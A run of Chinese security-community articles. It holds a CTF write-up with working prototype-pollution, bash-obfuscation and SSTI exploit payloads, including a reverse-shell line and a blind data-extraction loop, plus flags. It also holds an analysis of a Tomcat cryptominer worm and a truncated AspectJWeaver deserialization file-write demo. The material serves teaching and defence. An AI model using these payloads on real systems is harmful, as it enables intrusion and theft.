在题目环境中`npm install`的时候就会有提示，express-validator库中的所依赖的lodash库存在原型链污染漏洞。
这是因为express-validator的依赖包中，lodash的安装版本最低为4.17.15的，所以在一定条件下会存在原型链污染漏洞。(这里的测试环境我们安装的是4.17.16版本，lodash在4.17.17以下存在原型链污染漏洞)
继续分析：
跟着上面过滤器(sanitizer)实现流程的最后几步，runner.run方法在context.stack里面循环遍历了contextItem，并调用了其run方法。
我们先来看看这个值的传入过程是怎么样的。
##### 请求中值的传入过程
测试数据包：
{"__proto__[test]": "123 "}
在调用run方法时传入了一个instance.value的变量，这个变量的值是我们传入json数据当中的值，run方法在调用过滤器处理后给其赋予了一个新的值。
我们下断点来查看一下：
经过过滤器处理后(也就是经过了一个`trim()`处理)：
可以看到，newvalue是instance.value经过run方法处理后得到的值，一直往上推可以得知instance的实现方法是this.selectFields，位置是在select-fields.js文件中：
select-fields.js:
这个文件的处理过程中我们需要了解到的就是在segments.reduce函数中对输入的值进行了一些判断和替换。重要的点就是当传入的键中存在`.`
，则会在字符两边加上`[" "]`，并且最终返回的是一个字符串形式的结果。(对于这些语句更为详细的原因可以参考writeup中对这一段的描述)
接着之前的过程，在经过了过滤器的处理之后，会通过lodash.set对指定的path设置新值，也就是如图中的`_.set(req[location],
path, newValue)`过程。
现在可以尝试一下能不能通过lodash.set原型链污染来污染指定的值：
尝试污染 **proto** [test]，结果发现是污染并没有成功：
原因是因为，当lodash.set中第一个参数存在一个与第二个参数同名的键时，污染就会失败，测试如下：
所以，我们就要尝试去绕过这个点。
我们来看一下这个语句：
path !== '' ? _.set(req[location], path, newValue) : _.set(req, location, newValue);
这里的第一个参数是从请求中直接取出来的，path是经过先前处理后的出来的值。所以能不能通过这个处理来进行绕过呢？当然是可以的。
当我们传入：
{"\"].__proto__[\"test":"123 "}
这里的键为`"].__proto__["test`，由于字符里面存在`.`，所以在segments.reduce函数处理时会对其左右加双引号和中括号，最终变成：`[""].__proto__["test"]`。这时在调用set函数时，值的情况就为：
这时就不存在同名的键了，于是查看污染的后的值发现：
我们设置的值并没有传递进去，而是污染为了一个空值。为什么传递进来的newValue为空值呢？
从select-fields.js中可以看到，是因为取值时，使用的是lodash.get方法从req['body']中取被处理后的键值，处理后的键是不存在的，所以取出来的值就为undefined。
当undefined传递到Sanitization.run方法中后，经过了一个`.toString()`的处理变成了`''`空字符串。
##### lodash.get方法中读取键值的妙用
那我们还有没有办法污染呢？结果肯定是有的，我们跟入这个lodash.get方法，这个方法的具体实现位置位于：lodash/get.js
继续跟踪到lodash/_baseGet.js
从中我们可以看到这个函数取值的一些逻辑，首先，path经过了castPath处理将字符串形式的路径转为了列表，如下面的内容所示。转换完后通过一个while循环将值循环取出，并在object这个字典里去取出对应的值。
// 初始值
['a'].__proto__.['b']
// 转换完后的值
["a","__proto__","b",]
那这个地方能不能利用呢？当然也是可以的，我们来看下最终的payload：
{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}
这个时候我们在这个函数处下断点就可以看到，`a\"].__proto__[\"test`经过castPath处理变成了["a", " **proto**
", "test"]，在Object循环取值最终取到的是`"a": {"__proto__": {"test":
'testvalue'}`中的test键的值，这样就达到了控制value的目的。
还未遍历前：
最后一次遍历：
最终污染成功：
## Web-Bash-Vino0o0o
#### 题目原型和出题想法
**原型：** 学习这种绕过姿势来源于之前看的一份34c3
CTF的wp，大体上类似于这一篇：<https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60>
**想法：** 但是利用上面这种`bash<<<{,,,,}`这种形式执行命令在我的测试中并不能完美地执行任意命令，因此在这次比赛中白名单没有逗号，且无回显
#### 解题思路
1. 可以利用八进制的方法绕过一些ban了字母的题，示例如下：
2. 可以利用位运算和进制转换的方法利用符号构造数字，本题中直接给出0简化了一些操作：
n = dict()
n[0] = '0'
n[1] = '${##}' #${##}计算#这个字符的长度为1，这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))' #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))' #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
得到了所有的数字就可以把我们所需要的命令转换成数字了，细说一下得到1的方法，`#`在bash中是一个变量，它的长度是0。${#变量}这种形式求得的是变量的长度，例子如下：
3. 转换成数字之后就需要用到`<<<`来重定向了，但是一层不够，只用一层会出现`bash: $'\154\163': command not found`这样的报错，得知bash一次解析只能解析到成数字，需要第二次解析。因此需要给原先的命令添加转义字符，最终构造出如下payload:`$0<<<$0\<\<\<\$\'\\${##}$(($((${##}<<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'`执行`ls`命令
4. 能够命令执行之后就很简单了，无回显的命令执行无非就两种方案，一种是反弹shell另一种是盲注，下面直接贴exp:
import requests
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
def get_flag(url,payload): #盲注函数
try:
data = {'cmd':payload}
r = requests.post(url,data,timeout=1.5)
except:
return True
return False
#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))
#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)
## Normal SSTI
#### 题目考点
SSTI 绕过姿势汇总（unicode绕过是一种网上没提出的方法）
#### 题目难度
中等偏难
#### 解题思路
题目主要考察了几个知识点：
* 没有`{{`情况下如何构造回显
* 如何绕过字符串过滤
* 过滤器的熟悉程度
直接放payload吧，很简单的一道题，理解了就懂了：
/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}
# Crypto
## 密码学？爆破就行了
这道签到题主要是想给大家推荐一个密码学常用的库,可以多线程的爆破
我用的默认线程解只需要不到7s(还可以更快的)
#!/usr/bin/python2
from pwn import pwnlib
from pwnlib.util.iters import mbruteforce
import hashlib
flag = 'd0g3{71b2b5616ee2a4639a07d979ebde964c}'
msgbroken = 'd0g3{71b2b5616**2a4639**7d979**de964c}'
table = '0123456789abcdef'
assert len(table) == 16
m1 = 'd0g3{71b2b5616'
m2 = '2a4639'
m3 = '7d979'
m4 = 'de964c}'
def f(res):
ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
msgbroken = m1 + res[0:2] + m2 + res[2:4] + m3 + res[4:6] + m4
tmp = hashlib.sha256(msgbroken).hexdigest()
if tmp == ciphier:
return True
res = mbruteforce(f,table,6,method='fixed')
print(m1 + res[0:2] + m2 + res[2:4] + m3 + res[4:6] + m4 )
## easyaes
#### 思路
hint和key长度不等,且hint为四个字符的重复
即输出的密文中有部分hint的字符,可以首先恢复hint再逐步次求出key
已知密文、明文、私钥可以根据aes的cbc模式原理求出位移
#!/usr/bin/python
from Crypto.Util.number import long_to_bytes
import binascii, sys
from Crypto.Util.strxor import strxor
from Crypto.Cipher import AES
# -----------get key--------- tmp = 56631233292325412205528754798133970783633216936302049893130220461139160682777
hint = int(str(hex(tmp))[2:10] * 8,16)
key = long_to_bytes(tmp ^ hint)
# ----------get iv----------- msg = b'Welcome to this competition, I hope you can have fun today!!!!!!'
msgs = [msg[ii:(ii+16)] for ii in range(0,len(msg),16)]
msgs.reverse()
IV = binascii.unhexlify('3c976c92aff4095a23e885b195077b66')
def decry(key,IV,ms):
aes=AES.new(key,AES.MODE_ECB)
return strxor(aes.decrypt(IV),ms)
for ms in msgs:
IV=decry(key,IV,ms)
print(b'd0g3{' + IV+ b'}')
## easyrsa
#### 思路
这道题首先将加密脚本给加密了,可以很明显的看出是python脚本的仿射加密
通过查找关键词可以对比出a = 9,b = 9,从而解出加密脚本
这道题一共有三个rsa的问题,对应的思路如下:
* hint1 = 2 * d + 246810 * e* phi ，根据数论知识,其实只要d满足e * dmodϕ(n)=1即可解密，所以在这里d = hint1 // 2
* 解出的q非素数,把q分解成素数积来求得phi
* 穷据两位十进制数字达到coppersmith攻击最低攻击条件
#!/usr/bin/python
import gmpy2
from Crypto.Util.number import long_to_bytes
import math
n = 10050095014547257781432719892909820612730955980465259676378711053379530637537082959157449310691856567584792956476780977871348290765339769265796235196183464082153542864869953748019765139619014752579378866972354738500054872580260903258315293588496063613299656519940131695232458799137629873477475091085854962677524091351680654318535417344913749322340318860437103597983101958967342493037991934758199221146242955689392875557192192462927253635018175615991531184323989958707271442555251694945958064367263082416655380103916187441214474502905504694440020491633862067243768930954759333735863069851757070183172950390134463839187
c = 522627051172673216607019738378749874116772877858344748349627321977492158105699887369893079581450048789131578556338186004983533975454988450450635141267157135506032849129152411194539350100279698888357898902460651973610161382266600081865609650174137113252711515464274593530115825189780860732147803369868525723790644619452538755225868382505974710418995847979384726953915873857530098330095151094837190566851416540540805185485212577333604309698822785682707412587829684108913753204398552196441996201678339688766979634246337855516220753995430266970473808724410357458278585135750810810484678948146374963838334596646926215341
hint = 134805774328615624446574490322803283547316698647214138487576352482438867186094276263735342558169004773286779632939369099910639984165263724781958841009573156241531958373198729926012152201548649349842790727259831232277600944618096069835436884888782994513452252257103877595707828731260669076400456300668581565291455061609385003064649522735776446930209884653223939689686840631001863143579575759834304817613040932998629846110770749941179601474484275548912570668460216633586988225562794026430881265344731575650165992321629617982004131413202026628777742093026476064486873565664625105013298396598413667761372217260994853420062861590358
d = hint // 2
q = gmpy2.powmod(c,d,n)
# ------------------ n = 133561991523711714238641512987809330530212246892569593026319411449791084194115873781301422593495806927875828290629679020098834182528012835469352471635087375406306534880352693134486855968468946334439553553593196889196239169351375517588892769598963002098115826389220099548938169095670740942251209102500450728442583559710183771974489284632651296188035458586935211952691589627681567274801028577256215269233875203212438263987034556969968774119389693056239796736659926866707857937025200924828822267781445721099763436020785585453958594470906716195030613615725126057391084801585533926767137218524047259398886392592317910204988634868663634415285507325190415658931169841182499733179254162060738994027842088553562013488445789594342451823783136881968032197575016845492231433684884872631894561254381663562267075103417879327236182565223877901300392217967589154857009356640377622996801781797109089687661697856930394706016954531077165127402008444818092498106642068414208190583373314287381712963712098566595399301400378116274132918572709221391531621228936206630829355801192700264684469488261781954165940553346889395507153750291402535330239420975542926664420153925171757944018621411265539452424569343708318070259746118326558005521868356304582694159507379335214599839668805877215983938986674084063185863612335339836810044252829401409522709997562887276661672718820881541500852400369184737236082178767653725044900394959369367604992512713490494168594433000695046297712977059205623777990102604073885527049867682390577577616773090662829024271568456346362315351643767420198116229892060385453123572533267805396437865025639093881944841521458804810097550625853182396288247815370818578103543117466070812804267915674186488979548392193291727228018246788487524292081389142018151246889408421936865224469589631518283230229213787648552632437566756058034131355439709320923876063030896228165897498746898125821639893238387694549304110003941329763552493326245073779912107372271854798616245416264801377068163622812994786201580895459712414134184992440395336131037558976058298521312536969408724436512019410835904564817724243688308776888170183074838453466914170790840559860531933430176605716828492670093771129301541861534595181565621644268739349035133062776852304594204220291667924128313579203359827093150911871520605180797438668872585571501531844999598674037998642821148417473110716470439750642781609483016636419373004760601783594025036152924259863627732874940148083408474700265895269165869619971810103499607445649821
p = 689159326758330864205993810270646658558112329195746149991184055909755461246626153920231796960903018393806410715812453949253930576368274228434916375544579284365205241766136566047482065208442992856658212126772417415403473480889927931481129434854332858754668120563818975006384512615022532233244596546830392476321031156328699572283946257730515089543367929326280871305776349305346159311591820455943842203357066465523558715870586535188343603460826231817622511283563179065036619023415848694281294463836320838105950552498785365535923041927491743402053568747113507098917091780797009380675587381805253390649630338055131031679595664055361678114747608302944715308343764678875659039394225950479683967885912291399162609094622980318391045105733088508798371414996479107970975717563552614856114065668728607215268431341079233630995168600896375314067716366181300081684353583326214062788182429536300917720999423489104723824360299238754986351169209709892739317096741609428484854087163771300777717883057028145424827875496235567904291417092378448353222179114362314382900648079547647848024440220204768433974038004942869937932015294078073975703156613070125753344841550872429670559866184492945262960524545894823245933714684747784492095876370443994948425495841
c = 65553658155452064459040687299632299415295760116470555100400688788937893101658136830409082198753928673469636810831761104117535054304536941814523449491308187105740319828511969750359402834799486354958723098881095067882833993358468923611118977258293638107874383059048015701807718209929028151240509801801995570592890519253676774278321334154528938199389248563657673061299152526380072934917964488153875744843855913524788571997024947738868563951687976817548296078497817264410193882661874749304071168979787307490320366615899942861059615405569154961435894469325778407081182151320629413711622905703628430999201763846682516985530373643176026602901129520439581385946775511292435206913016381293219606333035648747877313424616408338829137581998558399694071257787294948211441360283876078405831210625321012072477187438320944119825970347654743794743846351762763177440045084761025728597526592892602263484022280653040195670941221493307430623213388669939114424884078502946247136016528925968280034099568454876076717790529204207317485416329062672971939549478648687894958552760953682796211975576320713576155031581257782352223857605149825435939889497465805857339911597479498085071301601506276220487493620870555545057189236870008182212284992968466451864806648279032294546676543599599279519394341289357968292292966055189578253350591765186079486142930848439238134776982658066494378507873003509820326863340562093906137812952544399266821679905073464535234547335867090392493005792528534561846391285698943396889671437127470587837989050518266365099789392584686615435440486086402941357614369171354355307532351370775920044953381482310949663868493911752104873824099597326393857349237228788875273525189373323552519106738497767546337587947368062413334887230166285909705065920918078052826480092129173127887307158867274895914733110276134124505178182548094607594799978378381804502097507167978950926067243870989514735314054362049917668015341349933704885009878192354865067520219676784278082055728039064858769077997521541853184489175120623176481708269464933868222226748491078319156602229948646960513946846417957356535995079525993783278312017766715177078804065822913241465133977233398851120059496221650357891946344151601586169979516826622503491746992282716591488199657450776596383692706657692673860134555990821730412919497018889046615548520878486492644159735144935329502984929679831356967030870226422768447430410031028770529758721438528263719267616233686813781828066547393953352033364851486926368090757420184816634373721
r = (n // p )// q
e = 65537
assert r*p*q == n
# q = 3 * 78234041
phi = (r-1) * (p-1) * (3-1) * (78234041 - 1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
load("coppersmith.sage")
N = 14857387925078594782296815160632343246361073432459148990826882280149636079353743233970188012712079179396872746334143946166398665205889211414809061990804629906990919975187761209638578624750977626427334126665295876888197889611807587476285991599511809796600855689969285611439780660503760599419522224129074956376232480894299044645423966132497814477710701209588359243945406653547034819927990978087967107865071898215805154003530311865483912924517801551052430227039259201082691698480830966567550828053196299423168934840697637891311424286534363837640448614727396254288829197614805073711893711252067987576745683317789020760081L
c = 14035143725862612299576867857272911865951893239411969382153274945929406881665641140566462510177132511558933111728871930062074990934496715765999564244916409345156132996227113853067808126894818934327468582686975383715892108247084995817427624992232755966398834682079985297050358462588989699096264155802168300026093598601350106309023915300973067720164567785360383234519093637882582163398344514810028120555511836375795523327469278186235781844951253058134566846816114359878325011207064300185611905609820210904126312524631330083758585084521500322528017455972299008481301204209945411774541553636405290572228575790342839240414L
e = 5
#相差52位
m_start = 11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047000000000000000000000000000000000000000000000000000000
m_end = 11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047990000000000000000000000000000000000000000000000000000
step = 10000000000000000000000000000000000000000000000000000
for m in range(m_start,m_end,step):
try:
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print(bytes.fromhex(hex(m+roots[0])[2:]))
break
except:
continue
# Misc
## 王牌特工
#### 题目考点
硬盘文件恢复，vim状态恢复，二层加密磁盘
#### 解题思路
用7Z或者硬盘软件挂载，可以发现flagbox和假密码（a_cool_key）
然后用ext3grep恢复.key.cool.swp文件
用vim
-r恢复vim访问记录，然后解base64可以得到真的密码（this_is_a_true_key），用真密码在veracrypt中解密flagbox可以得到flag
flag：flag{you_are_a_cool_boy}
## 套娃
#### 题目考点
crc32，zip刁钻爆破姿势
#### 解题思路
flag:flag{zip&crc_we_can_do_it}
crc32爆破得到解压密码!qQIdEa@#!z)
解压得到easyzip.zip
然后用7z打开easyzip.zip，得到明文readme.txt
然后备份easyzip.zip,之后用winrar把readme.txt和flag.txt删除，留下readme.txt副本，然后已知明文攻击
已知明文攻击得到密码%3#c$v!@
然后用这个密码解密原来easyzip.zip中的flag.txt
最后解base64*3和栅栏3
贴上crc32爆破脚本
import binascii
for i in range(32,127):
for j in range(32,127):
#print(chr(i))
crc = binascii.crc32(chr(i)+chr(j)) & 0xffffffff
crc_f = ['EA4446B6','ED7987DE','46FE0943','4BE30989','B31975C0','D6BB1BEF']
find = hex(crc).upper()[2:]
#print(find)
if find in crc_f:
print(chr(i)+chr(j)+" "+find)
## 签到
#### 题目考点
简单的图片操作，base100
#### 解题思路
链接：<https://share.weiyun.com/RYDFi29H> 密码：d0g311
关注道格安全公众号，
回复：fl4g
return一个微云下载链接，解出提示：这并不是emojicode哦，而是一种“很基础”的编码，如果答对了，CyzCC就给你100分．
docx里有奇怪的东西，将docx改为压缩包格式（docx是微软Word的文件扩展名，Microsoft
Office2007之后版本使用，其基于Office Open
XML标准的压缩文件格式取代了其以前专有的默认文件格式），document.xml里可以看到一串表情。
不是emojicode
基础是base
base100解密即可
[Base100编码/解码 - 一个工具箱 - 好用的在线工具都在这里！
(atoolbox.net)](http://www.atoolbox.net/Tool.php?Id=936)
flag：D0g3{Welc0m_ANd_H1T_liGht1y}
## BeCare4
#### 题目考点
零宽隐写,silenteye 隐写
#### 解题思路
一个npmtxt文件，用notepad++打开，是一段文字，搜索
Invisble提示的确是个隐写，用hex editor打开的话就更容易发现前面有很奇怪的东西。
文字隐写最常见的就是zerolib，找一些在线解密的网站，其中文件名“npm”txt，
参考：
[零宽度空格 Zero-width space | m4bln
(mabin004.github.io)](https://mabin004.github.io/2018/05/14/零宽度空格-Zero-width-space/)
[Zero Width Lib (yuanfux.github.io)](https://yuanfux.github.io/zero-width-web/)
解出之后可以用这个作为密码得到压缩文件中的图片
文件名再次指出是隐写，并且with_nowords => silent
silenteye得出flag
flag：D0g3{1nV1sible_flag_Can_You_find?!} | 社区文章 |
# 向Web服务器投递恶意挖矿软件的蠕虫
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
实际中，面向公共互联网提供服务的系统或服务器，都是处于边缘位置的。所以无论是物联网设备还是企业级服务器，只要能被外界访问到，那就会无时无刻被攻击。
最近，我们发现了一种攻击手法，多个公司Apache Tomcat
Web服务器反复遭受感染。通常因为担心端点反病毒软件会降低服务器的性能或造成服务器不稳定，所以服务器管理员并没有安装相应的防御工具。显然，这种想法在现在看来很过时。
这种情况下，虽然服务器管理员确保已经将操作系统及Apache组件更新到最新版本，但每当处理完感染问题没多久，又出现了同样的问题。
幸运的是，服务器管理员提供了捕获到的包含攻击行为的网络数据包。这种攻击看起来很眼熟，因为在我们部署的蜜罐中，就曾见到这种自动化投递恶意挖矿软件的攻击行为。但是在这之前，还未见过在野攻击成功的案例，所以我们决定通过分析捕获的数据包来解释这次攻击是如何实施的。
## 猫（Tomcat）和老鼠
入侵成功的根本原因在于管理员在Tomcat管理页面中使用了弱口令。初始阶段的攻击是在Tomcat管理面板对登录凭证进行暴力破解，一旦攻击者成功以管理员身份登录，那一切都完了。
在得到正确的登录凭据后，攻击者会对服务器发起HTTP POST请求，如下图所示：
图1：攻击者通过HTTP POST上传新的的admin.jsp页面
在Tomcat管理页面允许管理员以扩展名为.war的文件形式将Web应用程序上传到服务器。此时攻击者上传了一个名为 **admin-manager.war** 的.war文件，该文件中包含了一个名为 **admin.jsp**
的恶意JSP文件。一旦该文件被外部攻击者调用，就会生成目标服务器配置信息文件。
admin.jsp文件如下所示:
图2：admin.jsp文件收集目标系统的配置信息，并可以执行命令
Admin.jsp有三个功能：收集系统配置信息，在Apache服务器上创建新文件，以及使用Web服务器帐户的权限在服务器上执行命令。
攻击者可以使用“ **act** ” 命令（猜测为“action”的简写），指定相应参数，然后加上一个或两个选项。
三个参数(SI,、SH、 UF)用途如下：
**System Information (act=SI)**
System Information函数将返回诸如OS、主机名、用户名等信息。
**File Creation (act=UF)**
当“upload file”被调用，攻击者所发送的Base64字符将写入到Apache服务器的一个文件中。
**Command execution (act=SH)**
取决于正在运行Tomcat服务器的操作系统，此“shell”命令将尝试使用/ bin / bash（*
nix服务器）、Windows命令行或PowerShell执行命令。还支持对命令字符串进行Base64编码。
两个选项的说明如下：
`String Parameter1 = request.getParameter ( “p1” )`
* 如果参数为SH代表内容进行Base64编码
* 如果参数为UF代表为文件命名
`String Parameter2 = request.getParameter ( “p2” )`
* 如果参数为SH代表True
* 如果参数为UF代表将Base64转为blob
## 挖矿软件投递
例如，攻击者一开始会向服务器发起字段内容为 **act = SI** 的HTTP POST请求，服务器的响应如下图：
图3
从返回中可以看出这个Tomcat部署在64位Windows Server
2012计算机上，还返回了主机名称（为了隐私，我们打了马赛克），以及恶意.jsp文件的存放路径。至于标题中的“Hello，Peppa！（你好，佩奇）”，我们猜测攻击者可能是小猪佩奇的粉丝。
出于某种原因，攻击者执行两次此命令，相互相隔一秒。
接下来，攻击者发出了一个 **action= SH＆p2 = True＆p1 =（base64）** 的“SH”命令，如下所示：
图4
解码后如内容下：
图5
该脚本首先会尝试杀死WMIC.exe，RegSvr32.exe和PowerShell.exe进程，然后检查系统是否存在PowerShell
1.0的文件路径（％systemroot％ System32 WindowsPowerShell v1.0
PowerShell.exe）。如果它在系统中找到该路径，将执行base64编码中的blob数据（上图中黄色高亮显示部分）。
如果脚本找不到PowerShell的路径，它将使用RegSvr32.exe从C2服务器下载并执行名为init.gif的文件。并使用脚本com对象（scrobj.dll）来执行init.gif的内容。
在PCAP中，可以看到攻击者执行命令后服务器的响应。如下图，攻击者发出命令时服务器未运行以上三个进程，所以这部分命令没有并执行成功。
图6
因为这部分命令并没有执行，所以我们解码了Base64中的blob数据（上图中黄色高亮显示部分），得到如下命令。
图7
这是捕获数据包中的另一个HTTP POST请求：
图
8
## Blob数据内的blob数据
令人费解的是，该命令中包含了一个URL，攻击者似乎想要将文本信息上传到该地址。但是，该URL所指向的资源是托管在恶意IP地址上的另一段blob数据。并且只有请求主机的User-Agent为Mozilla / PS时，该IP才会返回信息。
可以看到返回的是一大堆经编码的数据。
图9
为了搞清楚这段数据的含义，我们祭出了[CyberChef](https://gchq.github.io/CyberChef/)。CyberChef在解码像这样的任意编码的数据块时是一款非常优秀的工具。下面是用于解码这段数据的“配方”（是的，它们被称为配方）。
图10
首先它会解码base64数据，然后它对解码得到的blob数据的执行“Raw Inflate”功能。最终输出如下：
图11
Neutrino(中微子)是几乎没有质量的亚原子粒子,具有奇异的特性,它很少与周围环境发生相互作用。虽然这段Payload自称为Neutrino（这里不要与之前已经消失的[Neutrino](https://www.bleepingcomputer.com/news/security/former-major-player-neutrino-exploit-kit-has-gone-dark/)漏洞利用工具包搞混，二者并无关联），但却与其原子特性大相径庭，它会与受感染的系统进行大量交互。
## Neutrino的功能
解码得到的这个脚本会对系统进行另外一些检测，然后根据Windows服务器的架构（32位或64位）下载相应的payload。它会将名为lsass.exe的文件下载到
**system32** 目录，是的，它使用了和系统安全组件
LSASS相同的名字，只是放在了不同位置。这样即使系统管理员在正在运行的进程列表中看到它，也不会太在意。
图12
Neutrino脚本还查看％system％中的HOSTS文件，以确定其中是否存有其他矿池地址的DNS记录，如果检测到，它会对其进行覆盖，写入八个不同的域名记录，然后连接这些矿池在目标服务器进行自己的门罗币挖矿活动。除此之外，域名
**ctosus.ru** 与恶意软件也有关联。
Neutrino脚本还会扫描主机系统上正在运行的应用程序列表，查看有常用的安全工具正在运行。如果发现正在运行这些程序，就会做相应记录。（例如，“
**ZhuDongFangYu** ”是中国防病毒软件360的一个组件。）
图13:Neutrino检索常用安全工具，例如调试器，反汇编程序或抓包工具
在5到10分钟的随机延迟后，脚本会尝试下载另一个名为 **_DL.ps1** 的 PowerShell脚本。
图14
它还会修改Windows注册表信息，这会导致系统向管理员发出的安全警告被隐藏。除此之外，它还尝试删除此前扫描时所记录的安全工具，或者尝试终止这些已运行的安全工具。
图15:Neutrino通过修改Windows注册表来禁用本地安全功能
最后，它会下载经过RC4加密的二进制payload。
图16
解密该二进制的密码为 **P@$$w0rd123456** 。此外，还创建了防火墙规则（命名为Windows Update）以允许另一个payload（
**WMI.ps1** ）接收攻击者传入的命令。
图17
## 管理员能做些什么
最有效的防御措施就是：任何情况下，任何人都不应该使Apache Tomcat服务器（或其他服务器）在公网可访问的情况下，在管理面板中使用弱口令或默认密码。
和其他一些与公网产生数据交互的软件一样，管理员应该确保服务器操作系统及所运行的软件为最新版本（避免漏洞利用）。不要把服务器当成PC去进行类似浏览网页等操作。还要养成良好的密码习惯，不要在数据库及服务器使用相同密码。
我们将文中所提到的这些恶意文件标记为 **Mal / VMProtBad-A** ， **Troj / Miner-QH** 或 **Mal /
Basine-C** 。
## IOCs
**域名/IP**
134.175.33.71
xmr.usa-138.com
wk.ctosus.ru
down.ctosus.ru
blog.ctoscn.ru
down.9ni.top
down.sxly518.xyz
gowel.top
m4.rui2.net
**URLs**
hxxp://134.175.33.71/Update/PSN/_DL.ps1
hxxp://134.175.33.71/Update/test/x64.bin
hxxp://134.175.33.71/Update/test/x64_VMP.bin
hxxp://134.175.33.71/Update/test/x86.bin
hxxp://134.175.33.71/Update/test/x86_VMP.bin
hxxp://134.175.33.71/Update/test/_WMI.ps1
**文件哈希**
DL.php: 2F908ECDC20923D703F05DA6EEDE76EB14DCA296
**相似文件哈希**
虽然攻击中涉及的许多文件都没有从目标计算机中恢复，且托管payload的C2在我们开始调查时一直处于下线状态，但是我们在公共仓库中发现了以下此前描述类似的文件。
_DL.ps1: 408b7799c4902f4d7d0965a9a37b9ed0989ba39a
x86_VMP.bin: 689edc2abe3eafe5f65491780e8aaa1eb68921f1
x64_VMP.bin: ad1e25f4b87ed5837125cb84ead840e558a85bb6 | 社区文章 |
# AspectJWeaver反序列化利用链
## 前言
aspectjweaver中有一个SimpleCache类，SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类。
其重写了HashMap的put方法。
其put方法中的writeToPath方法执行了写入文件的操作，以传入的key为文件名，valueBytes为写入文件的内容，valueBytes由put方法中传入的value而来。
writeToPath方法中this.folder为要写入的路径，可以由StoreableCachingMap类的构造函数传入。
然后与File.separator(即)，key(文件名)进行拼接，构成fullPath(文件写入的位置)，创建FileOutputStream，向其中写入bytes即传入的valueBytes
## 简单demo
如下demo，利用aspectjweaver中的SimpleCache类的内部类StoreableCachingMap的put方法实现文件写入：
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 调用其put方法
map.put("1.txt","21321321".getBytes(StandardCharsets.UTF_8));
}
}
其会创建D:\1.txt文件，内容为21321321
## 反序列化触发
从上述分析，可以知道，只要能触发SimpleCache$StoreableCachingMap的put方法就能执行文件写入操作。
CommonCollections中的LazyMap的get方法中存在put方法的调用
在CC反序列化利用链中，LazyMap的get方法常用来触发transformer的transform方法。
我们可以将CC反序列化利用链中触发LazyMap的get的操作用到这里，这就需要目标同时存在CommonCollections依赖。
如下demo即可实现反序列化时写入文件：
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
